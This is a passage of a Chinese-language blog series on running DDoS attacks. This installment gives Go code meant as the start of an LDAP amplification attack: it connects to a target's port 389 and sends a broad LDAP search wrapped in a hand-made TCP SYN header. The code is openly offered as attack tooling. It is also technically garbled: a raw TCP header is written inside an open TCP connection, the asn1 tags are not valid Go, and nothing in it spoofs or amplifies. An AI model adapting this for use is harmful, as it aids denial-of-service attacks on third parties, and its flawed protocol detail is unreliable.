iT邦幫忙

2023 iThome 鐵人賽

DAY 22
0
SideProject30

DDOS:閑的沒事就開始DDOS系列 第 22

[Day 22] 閑的沒事 - LDAP放大攻擊

  • 分享至 

  • xImage
  •  

繼續昨天沒寫完的坑

func main() {

    conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", targetIP, targetPort))
    if err != nil {
        log.Fatalf("Failed to connnect target ip: %v", err)
    }
    defer conn.Close()

    ldapSearchRequest := LDAPSearchRequest{
        BaseDN:     "dc=example,dc=com",
        Scope:      2,  // Whole Subtree
        Filter:     "(objectClass=*)",
        Attributes: []string{"All User Attributes"},
    }
    
    ldapSearchRequestBytes, err := asn1.Marshal(ldapSearchRequest)
    if err != nil {
        log.Fatalf("Failed to encode LDAP search request : %v", err)
    }

    ldapPacket := gopacket.NewSerializeBuffer()
    opts := gopacket.SerializeOptions{}

    tcpLayer := &layers.TCP{
        SrcPort: layers.TCPPort(12345),
        DstPort: layers.TCPPort(389),
        Seq:     110,
        Ack:     200,
        SYN:     true,
        Window:  14600,
    }
    err = tcpLayer.SerializeTo(ldapPacket, opts)
    if err != nil {
        log.Fatalf("Failed to add to tcp layer: %v", err)
    }

    err = gopacket.SerializeLayers(ldapPacket, opts, gopacket.Payload(ldapSearchRequestBytes))
    if err != nil {
        log.Fatalf("Failed to add payload: %v", err)
    }

    _, err = conn.Write(ldapPacket.Bytes())
    if err != nil {
        log.Fatalf("Failed to send packet: %v", err)
    }

}

type LDAPSearchRequest struct {
    BaseDN     string   `asn1:"octetstring"`
    Scope      int      `asn1:"enumerated"`
    DerefAlias int      `asn1:"enumerated"`
    SizeLimit  int      `asn1:"integer"`
    TimeLimit  int      `asn1:"integer"`
    TypesOnly  bool     `asn1:"boolean"`
    Filter     string   `asn1:"octetstring"`
    Attributes []string `asn1:"set"`
}

原本要先從捕獲封包開始寫的,結果code不知道丟哪了
先用dial寫一個,休息一下


上一篇
[Day 21] 閑的沒事 - LDAP放大攻擊之sladp發送ldap協定
下一篇
[Day 23] 閑的沒事 - CLDAP放大攻擊
系列文
DDOS:閑的沒事就開始DDOS31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言